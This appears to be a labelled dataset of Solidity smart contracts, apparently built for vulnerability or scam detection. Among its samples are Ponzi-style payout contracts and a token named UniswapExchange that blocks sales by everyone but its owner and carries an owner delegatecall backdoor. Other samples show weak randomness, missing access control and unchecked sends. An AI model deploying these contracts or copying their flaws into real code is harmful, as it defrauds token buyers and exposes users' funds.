require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 809 |
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Certifier {
event Confirmed(address indexed who);
event Revoked(address indexed who);
function certified(address) public constant returns (bool);
function get(address, string) public constant returns (bytes32);
function getAddress(address, string) public constant returns (address);
function getUint(address, string) public constant returns (uint);
}
contract EDUToken is StandardToken {
using SafeMath for uint256;
Certifier public certifier;
event CreatedEDU(address indexed _creator, uint256 _amountOfEDU);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
string public constant name = "EDU Token";
string public constant symbol = "EDU";
uint256 public constant decimals = 4;
string public version = "1.0";
uint256 public constant TotalEDUSupply = 48000000*10000;
uint256 public constant maxEarlyPresaleEDUSupply = 2601600*10000;
uint256 public constant maxPresaleEDUSupply = 2198400*10000;
uint256 public constant OSUniEDUSupply = 8400000*10000;
uint256 public constant SaleEDUSupply = 30000000*10000;
uint256 public constant sigTeamAndAdvisersEDUSupply = 3840000*10000;
uint256 public constant sigBountyProgramEDUSupply = 960000*10000;
uint256 public preSaleStartTime;
uint256 public preSaleEndTime;
uint256 public saleStartTime;
uint256 public saleEndTime;
uint256 public earlyPresaleEDUSupply;
uint256 public PresaleEDUSupply;
uint256 public EDU_KYC_BONUS = 50*10000;
uint256 public LockEDUTeam;
uint256 public EDU_PER_ETH_EARLY_PRE_SALE = 1350;
uint256 public EDU_PER_ETH_PRE_SALE = 1200;
uint256 public EDU_PER_ETH_SALE;
address public ownerAddress;
address public presaleAddress;
address public saleAddress;
address public sigTeamAndAdvisersAddress;
address public sigBountyProgramAddress;
address public contributionsAddress;
bool public allowContribution = true;
uint256 public totalWEIInvested = 0;
uint256 public totalEDUSLeft = 0;
uint256 public totalEDUSAllocated = 0;
mapping (address => uint256) public WEIContributed;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != ownerAddress) {
revert();
}
_;
}
modifier minimalContribution() {
require(500000000000000000 <= msg.value);
_;
}
modifier freezeDuringEDUtokenSale() {
if ( (msg.sender == ownerAddress) ||
(msg.sender == contributionsAddress) ||
(msg.sender == presaleAddress) ||
(msg.sender == saleAddress) ||
(msg.sender == sigBountyProgramAddress) ) {
_;
} else {
if((block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) || (block.timestamp > saleStartTime && block.timestamp < saleEndTime)) {
revert();
} else {
_;
}
}
}
modifier freezeTeamAndAdvisersEDUTokens(address _address) {
if (_address == sigTeamAndAdvisersAddress) {
if (LockEDUTeam > block.timestamp) { revert(); }
}
_;
}
function EDUToken(
address _presaleAddress,
address _saleAddress,
address _sigTeamAndAdvisersAddress,
address _sigBountyProgramAddress,
address _contributionsAddress
) {
certifier = Certifier(0x1e2F058C43ac8965938F6e9CA286685A3E63F24E);
ownerAddress = msg.sender;
presaleAddress = _presaleAddress;
saleAddress = _saleAddress;
sigTeamAndAdvisersAddress = _sigTeamAndAdvisersAddress;
sigBountyProgramAddress = _sigBountyProgramAddress;
contributionsAddress = _contributionsAddress;
preSaleStartTime = 1511179200;
preSaleEndTime = 1514764799;
LockEDUTeam = preSaleEndTime + 1 years;
earlyPresaleEDUSupply = maxEarlyPresaleEDUSupply;
PresaleEDUSupply = maxPresaleEDUSupply;
balances[contributionsAddress] = OSUniEDUSupply;
balances[presaleAddress] = SafeMath.add(maxPresaleEDUSupply, maxEarlyPresaleEDUSupply);
balances[saleAddress] = SaleEDUSupply;
balances[sigTeamAndAdvisersAddress] = sigTeamAndAdvisersEDUSupply;
balances[sigBountyProgramAddress] = sigBountyProgramEDUSupply;
totalEDUSAllocated = OSUniEDUSupply + sigTeamAndAdvisersEDUSupply + sigBountyProgramEDUSupply;
totalEDUSLeft = SafeMath.sub(TotalEDUSupply, totalEDUSAllocated);
totalSupply = TotalEDUSupply;
}
function()
payable
minimalContribution
{
require(allowContribution);
if (!certifier.certified(msg.sender)) {
revert();
}
uint256 amountInWei = msg.value;
uint256 amountOfEDU = 0;
if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) {
amountOfEDU = amountInWei.mul(EDU_PER_ETH_EARLY_PRE_SALE).div(100000000000000);
if(!(WEIContributed[msg.sender] > 0)) {
amountOfEDU += EDU_KYC_BONUS;
}
if (earlyPresaleEDUSupply > 0 && earlyPresaleEDUSupply >= amountOfEDU) {
require(updateEDUBalanceFunc(presaleAddress, amountOfEDU));
earlyPresaleEDUSupply = earlyPresaleEDUSupply.sub(amountOfEDU);
} else if (PresaleEDUSupply > 0) {
if (earlyPresaleEDUSupply != 0) {
PresaleEDUSupply = PresaleEDUSupply.add(earlyPresaleEDUSupply);
earlyPresaleEDUSupply = 0;
}
amountOfEDU = amountInWei.mul(EDU_PER_ETH_PRE_SALE).div(100000000000000);
if(!(WEIContributed[msg.sender] > 0)) {
amountOfEDU += EDU_KYC_BONUS;
}
require(PresaleEDUSupply >= amountOfEDU);
require(updateEDUBalanceFunc(presaleAddress, amountOfEDU));
PresaleEDUSupply = PresaleEDUSupply.sub(amountOfEDU);
} else {
revert();
}
} else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) {
amountOfEDU = amountInWei.mul(EDU_PER_ETH_SALE).div(100000000000000);
require(totalEDUSLeft >= amountOfEDU);
require(updateEDUBalanceFunc(saleAddress, amountOfEDU));
} else {
revert();
}
totalWEIInvested = totalWEIInvested.add(amountInWei);
assert(totalWEIInvested > 0);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountInWei);
assert(contributedSafe > 0);
WEIContributed[msg.sender] = contributedSafe;
contributionsAddress.transfer(amountInWei);
CreatedEDU(msg.sender, amountOfEDU);
}
function updateEDUBalanceFunc(address _from, uint256 _amountOfEDU) internal returns (bool) {
totalEDUSLeft = totalEDUSLeft.sub(_amountOfEDU);
totalEDUSAllocated += _amountOfEDU;
if (totalEDUSAllocated <= TotalEDUSupply && totalEDUSAllocated > 0) {
uint256 balanceSafe = balances[msg.sender].add(_amountOfEDU);
assert(balanceSafe > 0);
balances[msg.sender] = balanceSafe;
uint256 balanceDiv = balances[_from].sub(_amountOfEDU);
balances[_from] = balanceDiv;
return true;
} else {
totalEDUSLeft = totalEDUSLeft.add(_amountOfEDU);
totalEDUSAllocated -= _amountOfEDU;
return false;
}
}
function setAllowContributionFlag(bool _allowContribution) public returns (bool success) {
require(msg.sender == ownerAddress);
allowContribution = _allowContribution;
return true;
}
function setSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) public returns (bool success) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
return true;
}
function setPresaleTime(uint256 _preSaleStartTime, uint256 _preSaleEndTime) public returns (bool success) {
require(msg.sender == ownerAddress);
preSaleStartTime = _preSaleStartTime;
preSaleEndTime = _preSaleEndTime;
return true;
}
function setEDUPrice(
uint256 _valEarlyPresale,
uint256 _valPresale,
uint256 _valSale
) public returns (bool success) {
require(msg.sender == ownerAddress);
EDU_PER_ETH_EARLY_PRE_SALE = _valEarlyPresale;
EDU_PER_ETH_PRE_SALE = _valPresale;
EDU_PER_ETH_SALE = _valSale;
return true;
}
function updateCertifier(address _address) public returns (bool success) {
certifier = Certifier(_address);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) freezeDuringEDUtokenSale freezeTeamAndAdvisersEDUTokens(msg.sender) returns (bool success) {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) freezeDuringEDUtokenSale freezeTeamAndAdvisersEDUTokens(_from) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) freezeDuringEDUtokenSale freezeTeamAndAdvisersEDUTokens(msg.sender) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 0 | 1,578 |
pragma solidity ^0.4.24;
contract SmartPromiseSEVEN {
address owner;
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
constructor() public { owner = msg.sender;}
function() external payable {
owner.send(msg.value / 10);
if (balances[msg.sender] != 0){
address paymentAddress = msg.sender;
uint256 paymentAmount = balances[msg.sender]*7/100*(block.number-timestamp[msg.sender])/5900;
paymentAddress.send(paymentAmount);
}
timestamp[msg.sender] = block.number;
balances[msg.sender] += msg.value;
}
} | 1 | 4,227 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract MyToken is owned{
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function MyToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address centralMinter
) {
if(centralMinter != 0 ) owner = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (frozenAccount[msg.sender]) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if(msg.sender.balance<minBalanceForAccounts) sell((minBalanceForAccounts-msg.sender.balance)/sellPrice);
if(_to.balance<minBalanceForAccounts) _to.send(sell((minBalanceForAccounts-_to.balance)/sellPrice));
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() returns (uint amount){
amount = msg.value / buyPrice;
if (balanceOf[this] < amount) throw;
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint amount) returns (uint revenue){
if (balanceOf[msg.sender] < amount ) throw;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount * sellPrice;
msg.sender.send(revenue);
Transfer(msg.sender, this, amount);
return revenue;
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | 1 | 2,130 |
pragma solidity ^0.4.16;
contract Ethraffle_v1b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
uint public constant prize = 2.5 ether;
uint public constant fee = 0.03 ether;
uint public constant totalTickets = 50;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 0 | 682 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,288 |
pragma solidity >= 0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function transferFrom(address from, address to, uint value) external;
function balanceOf(address tokenOwner) constant external returns (uint balance);
function allowance(address _owner, address _spender) constant external returns (uint remaining);
}
contract againstTokenTransfer {
mapping(address => bool) public active;
mapping(address => bool) public exists;
mapping(address => uint) public index;
mapping(address => string) public tkname;
mapping(address => uint) public decimals;
mapping(address => uint) public rate;
mapping(address => uint) public buyoffer;
token tokenReward = token(0xF7Be133620a7D944595683cE2B14156591EFe609);
string public name = "AGAINST TKDEX";
string public symbol = "AGAINST";
string public comment = "AGAINST Token Market";
address internal owner;
uint public indexcount = 0;
constructor() public {
owner = address(msg.sender);
}
function registerToken(address _token, string _name, uint _decimals, uint _rate, uint _buyoffer) public {
if (msg.sender == owner) {
if (!exists[_token]) {
exists[_token] = true;
indexcount = indexcount+1;
index[_token] = indexcount;
active[_token] = false;
}
tkname[_token] = _name;
decimals[_token] = _decimals;
rate[_token] = _rate;
buyoffer[_token] = _buyoffer;
}
}
function enableToken(address _token) public {
if (msg.sender == owner) {
active[_token] = true;
}
}
function disableToken(address _token) public {
if (msg.sender == owner) {
active[_token] = false;
}
}
function exchangeIt(address _token) public payable {
require(active[_token],'Token Disabled');
token swapToken = token(_token);
require(swapToken.allowance(msg.sender, address(this)) > 0);
uint tokenAmount = swapToken.allowance(msg.sender, address(this));
if (tokenAmount > swapToken.balanceOf(msg.sender)) { tokenAmount = swapToken.balanceOf(msg.sender);}
uint amount = (tokenAmount/(10**decimals[_token]))*rate[_token];
require(amount <= buyoffer[_token],'Too many coins');
require(tokenReward.balanceOf(address(this)) >= amount,'No contract Funds');
swapToken.transferFrom(msg.sender, owner, tokenAmount);
buyoffer[_token] = buyoffer[_token]-amount;
tokenReward.transfer(msg.sender, amount);
}
} | 1 | 2,592 |
pragma solidity ^0.4.24;
contract Test7 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 7;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
bool public gameStarted;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function startGame() public onlyOwner {
gameStarted = true;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(gameStarted);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(85).div(1000));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(35).div(1000));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
